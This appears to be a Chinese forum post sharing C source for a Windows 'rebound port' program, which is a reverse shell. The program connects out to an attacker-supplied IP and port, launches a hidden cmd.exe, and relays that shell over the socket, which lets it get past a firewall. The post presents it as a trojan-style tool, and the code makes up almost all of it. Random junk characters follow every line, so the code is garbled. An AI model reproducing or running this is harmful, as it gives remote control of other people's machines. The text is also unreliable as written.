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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g-vg6@6  
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/* ============================== (3dPLp:K  
Rebound port in Windows NT m%#`y\]I  
By wind,2006/7  d^|0R  
===============================*/ \ /|)HElKR  
#include Yct5V,X^  
#include  st 'D  
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#pragma comment(lib,"wsock32.lib") 3^=+gsc  
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void OutputShell(); !q"CV  
SOCKET sClient; l\$ +7|W  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P;]F=m+ *V  
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void main(int argc,char **argv) ~svO*o Wa  
{ A4mSJ6K]  
WSADATA stWsaData; >\A8#@1  
int nRet; k#:2'!7G  
SOCKADDR_IN stSaiClient,stSaiServer; ]+H ?@*b`  
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if(argc != 3) iGXBqUQ:  
{ <a le$[  
printf("Useage:\n\rRebound DestIP DestPort\n"); gBk5wk_j|  
return; pe&UQ C^  
} 2yo cu!4l  
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WSAStartup(MAKEWORD(2,2),&stWsaData);  O3NWXe<  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;pRcVL_4  
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stSaiClient.sin_family = AF_INET; [*m2  
stSaiClient.sin_port = htons(0); 4QJ8Z t  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k6\^p;!Y  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) PKq-@F%X  
{ RD<75]**{  
printf("Bind Socket Failed!\n"); l|/:Ot  
return; v$w++3H  
} eUO9 a~<  
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stSaiServer.sin_family = AF_INET; _2vd`k  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H' J|U|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `&$B3)Eb  
l)+:4N?iVv  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .>6 Wv0  
{ G6`J1Uk  
printf("Connect Error!"); @\Js8[wS9@  
return; +K6szGP  
} g\M5:Qm  
OutputShell(); F#+.>!  
} X21dX`eMN  
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void OutputShell() gH:ArfC  
{ DHfB@/q#  
char szBuff[1024]; CL7Nr@  
SECURITY_ATTRIBUTES stSecurityAttributes; v+1i= s2$  
OSVERSIONINFO stOsversionInfo; %3Bpn=k>  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D>wZ0p b-  
STARTUPINFO stStartupInfo; :wgfW .w  
char *szShell; tjv\)Nn'  
PROCESS_INFORMATION stProcessInformation; rlznwfr7+  
unsigned long lBytesRead; QYThW7S  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); . \5$MIF  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I+,SZ]n  
stSecurityAttributes.lpSecurityDescriptor = 0; 6/mF2&&g  
stSecurityAttributes.bInheritHandle = TRUE; %(LvE}[RJ  
2'{}<9  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @%W]".*'}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Yr&Ka:  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;rBp1[qVe  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5JFV%odo  
stStartupInfo.wShowWindow = SW_HIDE; WtX>Qu|  
stStartupInfo.hStdInput = hReadPipe; ]HvZ$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5 d ;|=K  
b1!@v+  
GetVersionEx(&stOsversionInfo); >#N[GrJAE  
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switch(stOsversionInfo.dwPlatformId) J4yt N3  
{  H+cNX\,  
case 1: q a!RH]B3  
szShell = "command.com"; 2@MN]Low  
break; Jgi Iq  
default: (@ ]tG?I=  
szShell = "cmd.exe"; ,d 7Z  
break; +8^_D?*\n  
} l_+A5Xy  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :)P<jX-G  
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send(sClient,szMsg,77,0); _+zVpZ  
while(1) a c6*v49  
{ F";FG 0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); oCJbkt=  
if(lBytesRead) r'd/qnd  
{ ~n]NyVFP  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0$2={s4ze  
send(sClient,szBuff,lBytesRead,0); ahp1!=Z-=  
} 2X_>vIlEm  
else ;E's4jWq  
{ p\+6"28{_~  
lBytesRead=recv(sClient,szBuff,1024,0); ^K*-G@B  
if(lBytesRead<=0) break; 8_iHVc;<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]<X2AO1  
} .&(8(C  
} W uf/LKj  
2v\W1VF  
return; BkT-m'I?  
}
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